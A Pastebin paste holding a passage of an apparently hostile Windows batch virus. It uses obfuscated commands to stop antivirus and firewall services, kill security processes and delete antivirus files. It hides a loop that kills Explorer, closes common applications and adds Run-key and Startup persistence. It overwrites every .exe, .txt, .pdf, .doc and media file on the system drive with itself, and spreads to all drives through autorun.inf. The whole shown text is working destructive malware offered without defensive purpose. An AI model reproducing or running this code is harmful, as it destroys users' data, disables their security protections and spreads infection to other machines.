  517. %ii%%ury% %ywe%%iej% InoTask /y
  518. cls
  519. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
  520. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
  521. %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Corporate Edition" /y
  522. %ii%%ury% %ywe%%iej% "ViRobot Professional Monitoring" /y
  523. %ii%%ury% %ywe%%iej% "PC-cillin Personal Firewall" /y
  524. %ii%%ury% %ywe%%iej% "Trend Micro Proxy Service" /y
  525. %ii%%ury% %ywe%%iej% "Trend NT Realtime Service" /y
  526. %ii%%ury% %ywe%%iej% "%own5%%lyd2%.com McShield" /y
  527. %ii%%ury% %ywe%%iej% "%own5%%lyd2%.com VirusScan Online Realtime Engine" /y
  528. %ii%%ury% %ywe%%iej% "SyGateService" /y
  529. %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
  530. cls
  531. %ii%%ury% %ywe%%iej% "Sophos Anti-Virus" /y
  532. %ii%%ury% %ywe%%iej% "Sophos Anti-Virus Network" /y
  533. %ii%%ury% %ywe%%iej% "eTrust Antivirus Job Server" /y
  534. %ii%%ury% %ywe%%iej% "eTrust Antivirus Realtime Server" /y
  535. %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
  536. %ii%%ury% %ywe%%iej% "eTrust Antivirus RPC Server" /y
  537. cls
  538. %ii%%ury% %ywe%%iej% netsvcs
  539. %ii%%ury% %ywe%%iej% spoolnt
  540. rem ---------------------------------
  541. rem ---------------------------------
  542. rem Temp Kill Anti-Virus
  543. net stop “Security Center”
  544. netsh firewall set opmode mode=disable
  545. tskill /A av*
  546. tskill /A fire*
  547. tskill /A anti*
  548. cls
  549. tskill /A spy*
  550. tskill /A bullguard
  551. tskill /A PersFw
  552. tskill /A KAV*
  553. tskill /A ZONEALARM
  554. tskill /A SAFEWEB
  555. cls
  556. tskill /A OUTPOST
  557. tskill /A nv*
  558. tskill /A nav*
  559. tskill /A F-*
  560. tskill /A ESAFE
  561. tskill /A cle
  562. cls
  563. tskill /A BLACKICE
  564. tskill /A def*
  565. tskill /A kav
  566. tskill /A kav*
  567. tskill /A avg*
  568. tskill /A ash*
  569. cls
  570. tskill /A aswupdsv
  571. tskill /A ewid*
  572. tskill /A guard*
  573. tskill /A guar*
  574. tskill /A gcasDt*
  575. tskill /A msmp*
  576. cls
  577. tskill /A mcafe*
  578. tskill /A mghtml
  579. tskill /A msiexec
  580. tskill /A outpost
  581. tskill /A isafe
  582. tskill /A zap*
  583. cls
  584. tskill /A zauinst
  585. tskill /A upd*
  586. tskill /A zlclien*
  587. tskill /A minilog
  588. tskill /A cc*
  589. tskill /A norton*
  590. cls
  591. tskill /A norton au*
  592. tskill /A ccc*
  593. tskill /A npfmn*
  594. tskill /A loge*
  595. tskill /A nisum*
  596. tskill /A issvc
  597. tskill /A tmp*
  598. cls
  599. tskill /A tmn*
  600. tskill /A pcc*
  601. tskill /A cpd*
  602. tskill /A pop*
  603. tskill /A pav*
  604. tskill /A padmin
  605. cls
  606. tskill /A panda*
  607. tskill /A avsch*
  608. tskill /A sche*
  609. tskill /A syman*
  610. tskill /A virus*
  611. tskill /A realm*
  612. cls
  613. tskill /A sweep*
  614. tskill /A scan*
  615. tskill /A ad-*
  616. tskill /A safe*
  617. tskill /A avas*
  618. tskill /A norm*
  619. cls
  620. tskill /A offg*
  621. rem ---------------------------------
  622. rem ---------------------------------
  623. rem Permanently Kill Anti-Virus
  624. net stop “Security Center”
  625. netsh firewall set opmode mode=disable
  626. tskill /A av*
  627. tskill /A fire*
  628. tskill /A anti*
  629. cls
  630. tskill /A spy*
  631. tskill /A bullguard
  632. tskill /A PersFw
  633. tskill /A KAV*
  634. tskill /A ZONEALARM
  635. tskill /A SAFEWEB
  636. cls
  637. tskill /A OUTPOST
  638. tskill /A nv*
  639. tskill /A nav*
  640. tskill /A F-*
  641. tskill /A ESAFE
  642. tskill /A cle
  643. cls
  644. tskill /A BLACKICE
  645. tskill /A def*
  646. tskill /A kav
  647. tskill /A kav*
  648. tskill /A avg*
  649. tskill /A ash*
  650. cls
  651. tskill /A aswupdsv
  652. tskill /A ewid*
  653. tskill /A guard*
  654. tskill /A guar*
  655. tskill /A gcasDt*
  656. tskill /A msmp*
  657. cls
  658. tskill /A mcafe*
  659. tskill /A mghtml
  660. tskill /A msiexec
  661. tskill /A outpost
  662. tskill /A isafe
  663. tskill /A zap*
  664. cls
  665. tskill /A zauinst
  666. tskill /A upd*
  667. tskill /A zlclien*
  668. tskill /A minilog
  669. tskill /A cc*
  670. tskill /A norton*
  671. cls
  672. tskill /A norton au*
  673. tskill /A ccc*
  674. tskill /A npfmn*
  675. tskill /A loge*
  676. tskill /A nisum*
  677. tskill /A issvc
  678. tskill /A tmp*
  679. cls
  680. tskill /A tmn*
  681. tskill /A pcc*
  682. tskill /A cpd*
  683. tskill /A pop*
  684. tskill /A pav*
  685. tskill /A padmin
  686. cls
  687. tskill /A panda*
  688. tskill /A avsch*
  689. tskill /A sche*
  690. tskill /A syman*
  691. tskill /A virus*
  692. tskill /A realm*
  693. cls
  694. tskill /A sweep*
  695. tskill /A scan*
  696. tskill /A ad-*
  697. tskill /A safe*
  698. tskill /A avas*
  699. tskill /A norm*
  700. cls
  701. tskill /A offg*
  702. del /Q /F C:\Program Files\alwils~1\avast4\*.*
  703. del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
  704. del /Q /F C:\Program Files\kasper~1\*.exe
  705. cls
  706. del /Q /F C:\Program Files\trojan~1\*.exe
  707. del /Q /F C:\Program Files\f-prot95\*.dll
  708. del /Q /F C:\Program Files\tbav\*.dat
  709. cls
  710. del /Q /F C:\Program Files\avpersonal\*.vdf
  711. del /Q /F C:\Program Files\Norton~1\*.cnt
  712. del /Q /F C:\Program Files\Mcafee\*.*
  713. cls
  714. del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
  715. del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
  716. del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
  717. del /Q /F C:\Program Files\Norton~1\*.*
  718. cls
  719. del /Q /F C:\Program Files\avgamsr\*.exe
  720. del /Q /F C:\Program Files\avgamsvr\*.exe
  721. del /Q /F C:\Program Files\avgemc\*.exe
  722. cls
  723. del /Q /F C:\Program Files\avgcc\*.exe
  724. del /Q /F C:\Program Files\avgupsvc\*.exe
  725. del /Q /F C:\Program Files\grisoft
  726. del /Q /F C:\Program Files\nood32krn\*.exe
  727. del /Q /F C:\Program Files\nood32\*.exe
  728. cls
  729. del /Q /F C:\Program Files\nod32
  730. del /Q /F C:\Program Files\nood32
  731. del /Q /F C:\Program Files\kav\*.exe
  732. del /Q /F C:\Program Files\kavmm\*.exe
  733. del /Q /F C:\Program Files\kaspersky\*.*
  734. cls
  735. del /Q /F C:\Program Files\ewidoctrl\*.exe
  736. del /Q /F C:\Program Files\guard\*.exe
  737. del /Q /F C:\Program Files\ewido\*.exe
  738. cls
  739. del /Q /F C:\Program Files\pavprsrv\*.exe
  740. del /Q /F C:\Program Files\pavprot\*.exe
  741. del /Q /F C:\Program Files\avengine\*.exe
  742. cls
  743. del /Q /F C:\Program Files\apvxdwin\*.exe
  744. del /Q /F C:\Program Files\webproxy\*.exe
  745. del /Q /F C:\Program Files\panda software\*.*
  746. rem ---------------------------------
  747. rem ---------------------------------
  748. rem Kill Explorer
  749. echo :a >>explorer.bat
  750. echo tskill explorer >>explorer.bat
  751. echo goto a >>explorer.bat
  752. echo Set objShell = CreateObject("WScript.Shell")>>invisi.vbs
  753. echo strCommand = "explorer.bat">>invisi.vbs
  754. echo objShell.Run strCommand, vbHide, TRUE>>invisi.vbs
  755. start "" invisi.vbs
  756. rem ---------------------------------
  757. rem ---------------------------------
  758. rem Kill Microsoft Word
  759. tskill WINWORD
  760. rem ---------------------------------
  761. rem ---------------------------------
  762. rem Kill Microsoft Outlook
  763. tskill outlook
  764. rem ---------------------------------
  765. rem ---------------------------------
  766. rem Kill Microsoft Paint
  767. tskill mspaint
  768. rem ---------------------------------
  769. rem ---------------------------------
  770. rem Kill Notepad
  771. tskill notepad
  772. rem ---------------------------------
  773. rem ---------------------------------
  774. rem Kill Microsoft Excel
  775. tskill excel
  776. rem ---------------------------------
  777. rem ---------------------------------
  778. rem Kill Msn Messenger
  779. tskill msnmsgr
  780. rem ---------------------------------
  781. rem ---------------------------------
  782. rem Kill Internet Explorer
  783. tskill iexplore
  784. rem ---------------------------------
  785. rem ---------------------------------
  786. rem Kill Safari
  787. tskill safari
  788. rem ---------------------------------
  789. rem ---------------------------------
  790. rem Kill Microsoft Access
  791. tskill msaccess
  792. rem ---------------------------------
  793. rem ---------------------------------
  794. rem Kill Calculator
  795. tskill calc
  796. rem ---------------------------------
  797. rem ---------------------------------
  798. rem Kill iTunes
  799. tskill iTunes
  800. rem ---------------------------------
  801. rem ---------------------------------
  802. rem Infect Reg Run Key
  803. set valinf="rundll32_%random%_toolbar"
  804. set reginf="hklm\Software\Microsoft\Windows\CurrentVersion\Run"
  805. reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
  806. rem ---------------------------------
  807. rem ---------------------------------
  808. rem Infect Startup Folder
  809. copy %0 "%userprofile%\Start Menu\Programs\Startup"
  810. rem ---------------------------------
  811. rem ---------------------------------
  812. rem Infect All .Exe Files
  813. assoc .exe=batfile
  814. DIR /S/B %SystemDrive%\*.exe >> InfList_exe.txt
  815. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_exe.txt) do copy /y %0 "%%j:%%k"
  816. rem ---------------------------------
  817. rem ---------------------------------
  818. rem Infect All .Txt Files
  819. assoc .txt=batfile
  820. DIR /S/B %SystemDrive%\*.txt >> InfList_txt.txt
  821. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_txt.txt) do copy /y %0 "%%j:%%k"
  822. rem ---------------------------------
  823. rem ---------------------------------
  824. rem Infect All .Mp3 Files
  825. assoc .mp3=batfile
  826. DIR /S/B %SystemDrive%\*.mp3 >> InfList_mp3.txt
  827. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp3.txt) do copy /y %0 "%%j:%%k"
  828. rem ---------------------------------
  829. rem ---------------------------------
  830. rem Infect All .Mp4 Files
  831. assoc .mp4=batfile
  832. DIR /S/B %SystemDrive%\*.mp4 >> InfList_mp4.txt
  833. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp4.txt) do copy /y %0 "%%j:%%k"
  834. rem ---------------------------------
  835. rem ---------------------------------
  836. rem Infect All .Pdf Files
  837. assoc .pdf=batfile
  838. DIR /S/B %SystemDrive%\*.pdf >> InfList_pdf.txt
  839. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_pdf.txt) do copy /y %0 "%%j:%%k"
  840. rem ---------------------------------
  841. rem ---------------------------------
  842. rem Infect All Drives
  843. for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
  844. copy /Y %0 %%E:\
  845. echo [AutoRun] > %%E:\autorun.inf
  846. echo open="%%E:\%0" >> %%E:\autorun.inf
  847. echo action=Open folder to see files... >> %%E:\autorun.inf)
  848. rem ---------------------------------
  849. rem ---------------------------------
  850. rem Infect All Folders
  851. Dir %SystemRoot% /s /b > PathHost
  852. For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
  853. Del /f /s /q PathHost > Nul
  854. rem ---------------------------------
  855. rem ---------------------------------
  856. rem Infect "ls" Cmd
  857. copy %0 %windir%\system32\ls.bat
  858. rem ---------------------------------
  859. rem ---------------------------------
  860. rem Infect All .Doc Files
  861. assoc .doc=batfile
  862. DIR /S/B %SystemDrive%\*.doc >> InfList_doc.txt
  863. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_doc.txt) do copy /y %0 "%%j:%%k"
  864. rem ---------------------------------
  865. rem ---------------------------------
  866. rem Infect All .Xml Files
  867. assoc .xml=batfile
  868. DIR /S/B %SystemDrive%\*.xml >> InfList_xml.txt
  869. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_xml.txt) do copy /y %0 "%%j:%%k"
  870. rem ---------------------------------
  871. rem ---------------------------------
  872. rem Infect All .Png Files
  873. assoc .png=batfile
  874. DIR /S/B %SystemDrive%\*.png >> InfList_png.txt
  875. echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_png.txt) do copy /y %0 "%%j:%%k"
  876. rem ---------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!